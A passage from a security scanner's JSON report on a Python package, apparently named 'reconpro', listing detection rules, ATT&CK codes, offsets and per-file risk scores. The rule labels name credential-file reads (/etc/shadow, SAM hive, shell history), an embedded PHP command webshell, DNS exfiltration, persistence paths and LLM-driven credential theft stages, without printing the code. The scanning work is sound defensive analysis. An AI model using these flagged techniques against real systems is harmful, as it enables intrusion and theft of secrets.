Mozilla/5.0 User-Agent prefix", "spans": [ [ 20225, 13 ] ] }, { "id": "micro-behaviors/communications/http/webdav::propfind-method", "conf": 0.95, "crit": 3, "desc": "References the WebDAV PROPFIND method", "spans": [ [ 6419, 10 ] ] }, { "id": "micro-behaviors/communications/socket/connect::socket-connect-ex-method-short", "conf": 0.88, "crit": 3, "desc": "Python socket-like connect_ex call", "spans": [ [ 63311, 15 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-af-inet-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "AF_INET constant name", "spans": [ [ 63253, 7 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-sock-stream-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "SOCK_STREAM constant name", "spans": [ [ 20881, 11 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "spans": [ [ 11920, 14 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 21030, 18 ], [ 34565, 33 ], [ 68274, 29 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::set-construction", "conf": 0.75, "crit": 3, "desc": "Python set() construction", "spans": [ [ 20908, 11 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-database", "conf": 0.85, "crit": 1, "desc": "Connection database key", "spans": [ [ 107336, 0 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-host", "conf": 0.85, "crit": 1, "desc": "Connection host key", "spans": [ [ 107346, 0 ] ] }, { "id": "micro-behaviors/data/db/mongodb::client-port-reference", "conf": 0.82, "crit": 3, "desc": "References the MongoDB client service port", "spans": [ [ 85221, 5 ] ] }, { "id": "micro-behaviors/data/db/mongodb::mongodb-url", "conf": 0.9, "crit": 3, "desc": "mongodb:// URL scheme", "spans": [ [ 107358, 10 ] ] }, { "id": "micro-behaviors/data/db/redis::redis-url", "conf": 0.9, "crit": 3, "desc": "redis:// URL scheme", "spans": [ [ 107269, 8 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-exec-system-procedure", "conf": 0.92, "crit": 3, "desc": "SQL EXEC system-procedure marker", "spans": [ [ 70567, 22 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-truncate-object", "conf": 0.8, "crit": 3, "desc": "TRUNCATE SQL object syntax reference", "spans": [ [ 70591, 14 ] ] }, { "id": "micro-behaviors/data/format/json::json-command-field", "conf": 0.8, "crit": 3, "desc": "JSON command or task field key", "spans": [ [ 74573, 9 ] ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "spans": [ [ 85973, 9 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::command-assignment-key", "conf": 0.4, "crit": 1, "desc": "Command field or assignment key", "spans": [ [ 21464, 0 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-type-field", "conf": 0.9, "crit": 3, "desc": "JSON object type field fragment", "spans": [ [ 12658, 7 ] ] }, { "id": "micro-behaviors/data/serialize/schema-object::host-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like host identity field", "spans": [ [ 28740, 11 ] ] }, { "id": "micro-behaviors/data/source/syntax/keyword::function-command-parameter", "conf": 0.8, "crit": 3, "desc": "Python function accepts a command parameter", "spans": [ [ 21442, 56 ] ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "spans": [ [ 8345, 11 ] ] }, { "id": "micro-behaviors/fs/path/account-db::credential-config-path-corpus--etc", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Etc account database path", "spans": [ [ 5960, 22 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 5649, 11 ], [ 72196, 11 ] ] }, { "id": "micro-behaviors/fs/path/config/git::git-repository-config-path", "conf": 0.9, "crit": 3, "desc": "References a Git repository configuration path", "spans": [ [ 7730, 12 ] ] }, { "id": "micro-behaviors/fs/path/config/web::wordpress-config-path", "conf": 0.8, "crit": 3, "desc": "WordPress wp-config.php credential file path", "spans": [ [ 4213, 13 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::secrets-json-file", "conf": 0.85, "crit": 3, "desc": "Secrets JSON filename reference", "spans": [ [ 7908, 13 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::windows-sam-hive-path", "conf": 0.97, "crit": 3, "desc": "References Windows SAM hive path", "spans": [ [ 6260, 27 ], [ 6314, 27 ] ] }, { "id": "micro-behaviors/fs/path/location::top-level-root-path", "conf": 0.96, "crit": 3, "desc": "References top-level /root path", "spans": [ [ 108460, 7 ] ] }, { "id": "micro-behaviors/fs/path/log/system::log-var", "conf": 0.66, "crit": 3, "desc": "References messages, secure, or auth log", "spans": [ [ 72477, 17 ] ] }, { "id": "micro-behaviors/fs/path/personal::bash-history-artifact", "conf": 0.9, "crit": 3, "desc": "Bash history artifact path", "spans": [ [ 92228, 13 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker", "conf": 0.86, "crit": 3, "desc": "References the Docker container engine", "spans": [ [ 107690, 6 ] ] }, { "id": "micro-behaviors/fs/proc/info/path::process-pid-stdin-fd-path", "conf": 0.88, "crit": 3, "desc": "Access process standard input via /proc", "spans": [ [ 72403, 15 ] ] }, { "id": "micro-behaviors/fs/proc/info/path::process-self-environ", "conf": 0.92, "crit": 3, "desc": "References own process environment procfs path", "spans": [ [ 72369, 18 ] ] }, { "id": "micro-behaviors/os/env/secret-name::python-environ-items-password-marker", "conf": 0.92, "crit": 3, "desc": "Password marker string literal", "spans": [ [ 76739, 8 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 4157, 5 ], [ 8039, 13 ], [ 108310, 5 ], [ 108447, 9 ], [ 109104, 8 ] ] }, { "id": "micro-behaviors/process/argument/subcommand::underscored-file-transfer-command", "conf": 0.9, "crit": 3, "desc": "Underscored file-transfer command identifier", "spans": [ [ 90693, 18 ] ] }, { "id": "micro-behaviors/process/create/shell/spawn::subprocess-timeout-expired-text", "conf": 0.88, "crit": 3, "desc": "Subprocess TimeoutExpired reference", "spans": [ [ 21784, 14 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stderr", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stderr)", "spans": [ [ 21747, 6 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stdout", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stdout)", "spans": [ [ 21550, 6 ] ] }, { "id": "micro-behaviors/process/fd/stdio::stdout-string", "conf": 0.3, "crit": 2, "desc": "References the stdout stream name", "spans": [ [ 21514, 0 ] ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-3", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard internal", "spans": [ [ 115963, 8 ] ] }, { "id": "objectives/command-and-control/backdoor/tasking/command-http::python-http-command-path", "atk": "T1059.006", "conf": 0.9, "crit": 3, "desc": "Python command endpoint path", "spans": [ [ 7363, 6 ] ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-open-tag-literal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP open tag in source string", "spans": [ [ 6649, 5 ], [ 72615, 40 ] ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-request-superglobal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP request superglobal access", "spans": [ [ 6662, 6 ], [ 72615, 40 ] ] }, { "id": "objectives/command-and-control/dropper/staged-loader::remote-module-method-field", "atk": "T1105,T1627.001", "mbc": "B0042", "conf": 0.94, "crit": 3, "desc": "Remote module method field", "spans": [ [ 74591, 11 ] ] }, { "id": "objectives/command-and-control/infrastructure/operator::session-id-column", "conf": 0.6, "crit": 3, "desc": "Session/agent ID field label", "spans": [ [ 97531, 8 ] ] }, { "id": "objectives/command-and-control/infrastructure/tracking::domain-field", "conf": 0.7, "crit": 3, "desc": "Domain tracking field", "spans": [ [ 26007, 9 ] ] }, { "id": "objectives/credential-access/dump/system::routeros-api-user-print", "atk": "T1003", "conf": 0.92, "crit": 3, "desc": "RouterOS API user print", "spans": [ [ 86530, 7 ] ] }, { "id": "objectives/credential-access/shell/history::zsh-history", "atk": "T1552.003", "conf": 0.8, "crit": 3, "desc": "Zsh shell history file access", "spans": [ [ 92266, 13 ] ] }, { "id": "objectives/discovery/network/scan/distributed::exploit-task-queue-name", "atk": "T1046,T1090", "conf": 0.9, "crit": 3, "desc": "Queue name declares exploitation work", "spans": [ [ 3206, 12 ], [ 3699, 12 ], [ 4110, 8 ], [ 4629, 19 ], [ 35390, 14 ], [ 37955, 22 ], [ 46087, 19 ], [ 81153, 7 ] ] }, { "id": "objectives/evasion/security-bypass/waf::akamai-name-reference", "conf": 0.9, "crit": 1, "desc": "References Akamai", "spans": [ [ 103933, 0 ] ] }, { "id": "objectives/evasion/security-bypass/waf::imperva-name-reference", "conf": 0.9, "crit": 1, "desc": "References Imperva or Incapsula", "spans": [ [ 103982, 0 ] ] }, { "id": "objectives/execution/automation/agent::vulnerability-state-marker-vulnerable", "atk": "T1059,T1190,T1595", "conf": 0.82, "crit": 3, "desc": "Vulnerable or CVE state marker", "spans": [ [ 40300, 12 ] ] }, { "id": "objectives/execution/automation/autonomous::llm-credential-theft", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM credential theft stage", "spans": [ [ 83675, 16 ] ] }, { "id": "objectives/execution/automation/autonomous::llm-lateral-movement", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM lateral movement stage", "spans": [ [ 57774, 16 ], [ 58847, 16 ], [ 59059, 16 ] ] }, { "id": "objectives/execution/exploit/access-control::control-route-path", "atk": "T1210", "conf": 0.92, "crit": 3, "desc": "Command or script execution route path", "spans": [ [ 7364, 4 ], [ 86476, 8 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-tunnel-phrase", "atk": "T1071.004", "mbc": "C0001", "conf": 0.9, "crit": 3, "desc": "DNS tunnel terminology", "spans": [ [ 118870, 10 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 5649, 11 ], [ 72510, 12 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::wp-admin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "WordPress admin endpoint path", "spans": [ [ 86500, 9 ], [ 108405, 11 ] ] }, { "id": "objectives/persistence/system/daemon/path-hidden::rc-local-hidden-system-bin--rx-2", "atk": "T1543", "conf": 0.92, "crit": 3, "desc": "rc.local path marker", "spans": [ [ 92312, 12 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::shellcode-ref", "atk": "T1068", "conf": 0.85, "crit": 3, "desc": "Shellcode term in source or binary strings", "spans": [ [ 100344, 9 ] ] }, { "id": "well-known/tool/detection/agent-sentry::risk-model", "conf": 0.96, "crit": 3, "desc": "agent-sentry RiskLevel finding model", "spans": [ [ 11636, 16 ], [ 18394, 18 ], [ 18469, 14 ], [ 18614, 13 ] ] }, { "id": "well-known/tool/detection/keywords::edr-keyword", "conf": 0.7, "crit": 3, "desc": "EDR / endpoint detection keyword", "spans": [ [ 42751, 18 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request", "conf": 0.8, "crit": 3, "desc": "Imports Python urllib.request HTTP client", "spans": [ [ 751, 14 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen", "conf": 0.7, "crit": 3, "desc": "Calls urllib.request.urlopen", "spans": [ [ 20328, 22 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-word", "conf": 0.75, "crit": 3, "desc": "References Python urllib HTTP client", "spans": [ [ 20160, 15 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-response-body-read", "conf": 0.9, "crit": 3, "desc": "Reads urllib response body", "spans": [ [ 20343, 128 ] ] }, { "id": "micro-behaviors/communications/http/request/client::xmlhttprequest-word", "conf": 0.4, "crit": 3, "desc": "References the XMLHttpRequest HTTP client", "spans": [ [ 79026, 14 ] ] }, { "id": "micro-behaviors/communications/http/upload::data-collection-upload-path", "conf": 0.9, "crit": 3, "desc": "References a collection or upload endpoint", "spans": [ [ 7452, 8 ] ] }, { "id": "micro-behaviors/communications/http/url/build::python-url-literal-concatenation", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "URL literal extended by concatenation", "spans": [ [ 71379, 28 ] ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-http-url-reference", "conf": 0.9, "crit": 3, "desc": "References a loopback HTTP URL", "spans": [ [ 5691, 16 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 4512, 21 ] ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-class", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "WebSocket class reference", "spans": [ [ 53500, 9 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-module-import", "atk": "T1071", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Imports Python's socket module", "spans": [ [ 635, 13 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-socket-call", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "socket.socket() call", "spans": [ [ 63232, 13 ] ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "spans": [ [ 8442, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-hexdigest", "conf": 0.9, "crit": 3, "desc": "Computes a SHA-256 hex digest in Python", "spans": [ [ 11920, 39 ] ] }, { "id": "micro-behaviors/data/db/sql::information-schema-ref", "conf": 1.0, "crit": 3, "desc": "SQL information_schema reference", "spans": [ [ 70336, 18 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-drop-object", "conf": 0.8, "crit": 3, "desc": "DROP SQL object syntax reference", "spans": [ [ 69859, 10 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-select", "conf": 0.6, "crit": 3, "desc": "SQL SELECT syntax reference", "spans": [ [ 70292, 69 ], [ 70406, 36 ], [ 70639, 37 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-password-file-path-pair", "conf": 0.9, "crit": 3, "desc": "References Unix passwd and shadow paths", "spans": [ [ 72080, 127 ] ] }, { "id": "micro-behaviors/fs/path/config/system::config-crontab", "conf": 0.78, "crit": 3, "desc": "Reference to /etc/crontab", "spans": [ [ 8253, 12 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::dotenv-filename-literal", "atk": "T1552.001", "conf": 0.85, "crit": 1, "desc": ".env filename literal", "spans": [ [ 7707, 0 ] ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-keyword", "conf": 0.5, "crit": 3, "desc": "Contains crontab keyword", "spans": [ [ 8242, 7 ] ] }, { "id": "micro-behaviors/os/privilege/elevation::runas-string", "conf": 0.9, "crit": 3, "desc": "References the Windows ShellExecute runas verb", "spans": [ [ 109554, 5 ] ] }, { "id": "micro-behaviors/os/service/config::systemd-etc-directory-path", "conf": 0.9, "crit": 3, "desc": "System-wide /etc/systemd directory", "spans": [ [ 92328, 12 ] ] }, { "id": "micro-behaviors/process/create/subprocess::import-subprocess", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.95, "crit": 3, "desc": "Imports Python's subprocess module", "spans": [ [ 681, 10 ] ] }, { "id": "micro-behaviors/process/create/subprocess::run-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.85, "crit": 3, "desc": "Calls subprocess.run to launch a process", "spans": [ [ 21608, 14 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-extension", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like filename extension", "spans": [ [ 89695, 16 ] ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::embedded-php-request-command", "atk": "T1505.003", "mbc": "B0030", "conf": 0.99, "crit": 4, "desc": "Embedded PHP request-command payload", "spans": [ [ 6649, 19 ] ] }, { "id": "objectives/command-and-control/infrastructure/keywords::beacon", "conf": 0.6, "crit": 3, "desc": "Beacon keyword (neutral context)", "spans": [ [ 7334, 6 ] ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-6", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Authorized-keys or shadow-file path literal", "spans": [ [ 72196, 11 ] ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-7", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Shell history file path literal", "spans": [ [ 92228, 13 ], [ 92267, 12 ] ] }, { "id": "objectives/credential-access/shell/history::shell-history", "atk": "T1552.003", "conf": 0.8, "crit": 3, "desc": "Bash shell history file access", "spans": [ [ 92228, 13 ] ] }, { "id": "objectives/evasion/fileless/memory::proc-self-fd-dup-slash", "atk": "T1620", "conf": 0.5, "crit": 3, "desc": "/proc/self/fd/ path fragment", "spans": [ [ 72403, 15 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-c2", "atk": "T1071.004", "mbc": "C0001", "conf": 0.9, "crit": 4, "desc": "DNS C2 terminology", "spans": [ [ 53439, 6 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-exfil", "atk": "T1071.004", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "DNS exfiltration terminology", "spans": [ [ 118673, 9 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-oracle", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token oracle", "spans": [ [ 84968, 6 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-redis", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token redis", "spans": [ [ 85105, 5 ] ] }, { "id": "objectives/persistence/system/init/boot::etc-rc-local", "atk": "T1037.004", "conf": 0.8, "crit": 3, "desc": "References /etc/rc.local boot path", "spans": [ [ 92311, 13 ] ] }, { "id": "objectives/privilege-escalation/exploit/keywords::img-onerror-handler", "atk": "T1059.007", "mbc": "E1090", "conf": 0.9, "crit": 3, "desc": "Image onerror event handler", "spans": [ [ 4331, 19 ], [ 71175, 19 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 72168, 12 ] ] }, { "id": "metadata/package/testing/corpus::injection-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple injection attack-category labels", "uses": [ 11, 13 ], "spans": [ [ 4311, 3 ], [ 32375, 4 ] ] }, { "id": "metadata/package/testing/corpus::server-attack-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple server-side attack-category labels", "uses": [ 10, 12 ], "spans": [ [ 32394, 3 ], [ 38954, 4 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::socket-dns-lookup", "conf": 0.8, "crit": 3, "desc": "Socket-based DNS lookup capability", "uses": [ 15 ], "spans": [ [ 20821, 18 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import", "conf": 0.82, "crit": 3, "desc": "Imports Python urllib.request through direct or from-import syntax", "uses": [ 92 ], "spans": [ [ 751, 14 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object", "conf": 0.82, "crit": 3, "desc": "urllib Request object creation", "uses": [ 18 ], "spans": [ [ 20160, 22 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-creation", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Socket creation patterns", "uses": [ 31, 32, 103 ], "spans": [ [ 63232, 0 ], [ 63253, 0 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call", "conf": 0.82, "crit": 3, "desc": "Calls Python urllib urlopen", "uses": [ 19, 93 ], "spans": [ [ 20328, 22 ] ] }, { "id": "micro-behaviors/communications/http/request/client::http-client", "conf": 0.7, "crit": 3, "desc": "Uses common HTTP client APIs", "uses": [ 94 ], "spans": [ [ 20160, 15 ] ] }, { "id": "micro-behaviors/communications/http/request/client::request-python", "conf": 0.9, "crit": 3, "desc": "Sends an HTTP request with a Python client library", "uses": [ 135 ], "spans": [ [ 20160, 22 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords", "conf": 0.86, "crit": 1, "desc": "Container engine name literal present", "uses": [ 59 ], "spans": [ [ 107690, 0 ] ] }, { "id": "micro-behaviors/process/create/subprocess::process-execution", "atk": "T1059.006", "conf": 0.8, "crit": 3, "desc": "Python launches a child process", "uses": [ 116 ], "spans": [ [ 21591, 32 ], [ 21608, 14 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-keywords", "conf": 1.0, "crit": 1, "desc": "Container runtime name literal present", "uses": [ 140 ], "spans": [ [ 107690, 0 ] ] }, { "id": "micro-behaviors/os/container/namespace::runtime", "conf": 0.9, "crit": 3, "desc": "Container runtime library usage", "uses": [ 142 ], "spans": [ [ 107690, 6 ] ] }, { "id": "metadata/encoded-payload/base64", "conf": 0.9, "crit": 3, "desc": "Encoded content decoded: base64", "spans": [ [ 72615, 38 ] ] } ], "type": "python" }, { "id": 54, "mol": "O(C₃)H₂(PoCm)", "sha": "200899eda8ca64aa52f7cca91cf9e51ca4fece4fe5db62bbf5f8ff0c01a35e27", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/kill_chain.py!!reconpro/kill_chain.py##base64@72615", "risk": 158, "size": 29, "type": "php", "depth": 2 }, { "id": 55, "mol": "O(Xe)H₃(CmDb₃F₂)", "sha": "8bc02df6a61a77ace48cfc898a188ced4336e5531ddbd3b23f00755eeccb76d8", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/knowledge_graph.py", "risk": 6, "size": 29736, "type": "python", "depth": 1 }, { "id": 56, "mol": "H₂(OsPo)", "sha": "3771b0cc5d97ee0be393fba4014cab1c9bf8e04595ac09d46eeca626f79a6735", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/lazy_rich.py", "risk": 2, "size": 4143, "type": "python", "depth": 1 }, { "id": 57, "mol": "H(Ti)", "sha": "c906432a489c8244da674fc2d3bbfc2506cc15350be0fac18d48f3cbc2c9ac85", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/loading.py", "risk": 1, "size": 8138, "type": "python", "depth": 1 }, { "id": 58, "mol": "O₅(CCa₂Dy₂EuS)H₅(CmCr₂Db₁₀F₄Os₂)Md₂(In)", "sha": "36cb6b59f256cb6650b0f233103040b86370a0818d54756a01747fe7629d272f", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/memory.py", "risk": 20, "size": 32712, "type": "python", "depth": 1 }, { "id": 59, "mol": "O₅(Ca₅CoEuPrXe)H₄(Cm₁₀Db₆Os₂Po₂)Md", "sha": "098b644c9f4116a902903e8073c372f1428480c07d75c5df0ad33370a657efa9", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/mitm.py", "risk": 18, "size": 27039, "type": "python", "depth": 1 }, { "id": 60, "mol": "O₇(AsCaDy₂EuLaPrXe)H₅(Cm₁₀Db₅F₃Os₃Po₃)", "sha": "6d7e5bc7d61403ec2c9a6459f5445d4ea4c68e87aa7ff55128f1b0ad6fb8540d", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/netmap.py", "risk": 20, "size": 29892, "type": "python", "depth": 1 }, { "id": 61, "mol": "K₂(AmTe₃)O₁₁(AlAsC₂CoDy₂ErI₃LaPrSXe₃)H₆(Cm₈CrDb₁₅F₂Os₅Po₄)Md₂(Pa₂)", "sha": "058a9907dfb2d045559436600782ef7a0a5abff26c037c1e76a30bf6f0f4be35", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/nexus_agent.py", "risk": 37, "size": 149611, "type": "python", "depth": 1 }, { "id": 62, "mol": "O₃(DyPrXe)H(Db₂)Md(Pa)", "sha": "1853d6dcb5697b5c6968665049b7db91f72a7135b03a76018e5bb0c0c622aa3d", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/nexus_help.py", "risk": 6, "size": 6556, "type": "python", "depth": 1 }, { "id": 63, "mol": "O₆(AsCDyIPrXe₂)H₅(Cm₂CrDb₆FOs)Md(Pa)", "sha": "d1a12c78d69bdcc8c54f40ecd5f668767c780ecb9d8142ce067cb0478e576bc7", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/nexus_tui.py", "risk": 16, "size": 131878, "type": "python", "depth": 1 }, { "id": 64, "mol": "H₂(DbPo)", "sha": "65fef59829d447b410c092d9f6c6df2260ce214339da9b0c1447b4253251955e", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/notifications.py", "risk": 2, "size": 8823, "type": "python", "depth": 1 }, { "id": 65, "mol": "K(Am)O₂(CDy)H₅(Cm₅Db₄F₂Os₂Po)", "sha": "85688ac3cb86017b6ce2eda6ecdc8bbc162a4479c0d38ec20e0177557afc88d4", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/observability.py", "risk": 14, "size": 35038, "type": "python", "depth": 1 }, { "id": 66, "mol": "H₂(DbPo)", "sha": "fbfb3ec199af03d36df637d7704a96a3afa16768db2a13512ef406157bcca186", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/parallel.py", "risk": 3, "size": 7281, "type": "python", "depth": 1 }, { "id": 67, "mol": "K(Te)O₄(CDyErS)H₂(Cm₁₄Db₈)", "sha": "cc35a62ddb91916afa225872be4b2111ddcbbcb31a6355812a359130aa84088c", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/passive_intel.py", "risk": 12, "size": 22284, "type": "python", "depth": 1 }, { "id": 68, "mol": "H₄(Cm₈CrDb₅F₂)Md(In)", "sha": "59fe429c71f1d3bb9037345d46d1ba6ee1d9833d0ebf67b1ef3095ce162bc50a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/pattern_of_life.py", "risk": 11, "size": 36936, "type": "python", "depth": 1 }, { "id": 69, "mol": "O(As)H₃(Db₃F₂Os)Md(Pa)", "sha": "9cf06c9fea5094ce5034d109c60570b23a7ffa05f12e7d16269b03d509c90502", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugins.py", "risk": 7, "size": 16192, "type": "python", "depth": 1 }, { "id": 70, "mol": "O₅(Xe₂ErEuLaPr)H₅(Cm₁₁Db₃FOsPo)Md(Pa₂)", "sha": "de8a4aee90778a6a9bfa49da4bdb77aebb7a5880b4790128ef34da6572e6ee87", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/profiler.py", "risk": 51, "size": 32429, "type": "python", "depth": 1 }, { "id": 71, "mol": "K(Te₃)O₃(AsI₂Xe₂)H₅(CrDb₆F₂OsPo₂)Md₂(InPt)", "sha": "29bb7439be646fef5fb237c9b8b8418fba8550a18092a83d95ea6c0a2dfe55a7", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/prompt_defense.py", "risk": 16, "size": 73034, "type": "python", "depth": 1 }, { "id": 72, "mol": "O₄(C₃CaEuS₂)H₆(Cm₁₈Db₇FOsPoTi)", "sha": "ed6c657a8ed03384ff7e06cccf4950634fa8bc0eeb37c68178fb3a69d9d8158f", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/proxy.py", "risk": 18, "size": 23593, "type": "python", "depth": 1 }, { "id": 73, "mol": "O₂(As₂Xe)H₅(CmDb₄F₂OsPo)Md", "sha": "e1ac33f34b1985d95d4877ce5f31bb31df6fc8907e7b5a97541d9cbcf26d9db1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/quality_intelligence.py", "risk": 11, "size": 68461, "type": "python", "depth": 1 }, { "id": 74, "mol": "K(Te)O₃(DyErI)H₂(Cm₂Db)", "sha": "84a8821e73781cab629e687aaab6694d05c152ddd6099923768dc98d755f6d1a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/ratings.py", "risk": 8, "size": 25320, "type": "python", "depth": 1 }, { "id": 75, "mol": "K(Lu)O₄(AsCDyLa)H₃(Cm₁₂Db₉Po₃)Md", "sha": "7edbf0876c8108f3dd0e564927e5abea03c8ce6e831d3b70798d3b6f7d7450db", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/raw_sockets.py", "risk": 17, "size": 23240, "type": "python", "depth": 1 }, { "id": 76, "mol": "H(Db)", "sha": "54338821a90e34078ce0bd35e93b6b5f6e143dd2e19ef495d52b5623a703dbef", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/registry.py", "risk": 3, "size": 13964, "type": "python", "depth": 1 }, { "id": 77, "mol": "H₂(Db₅F)", "sha": "4fbb1a32c9f2bcd83e631bf6dda46c9eb21fe82cf6d7bb91d4ce37eed46589e1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/regression_intelligence.py", "risk": 4, "size": 68383, "type": "python", "depth": 1 }, { "id": 78, "mol": "O(Pr)H₂(CmDb₄)Md₂(Pa)", "sha": 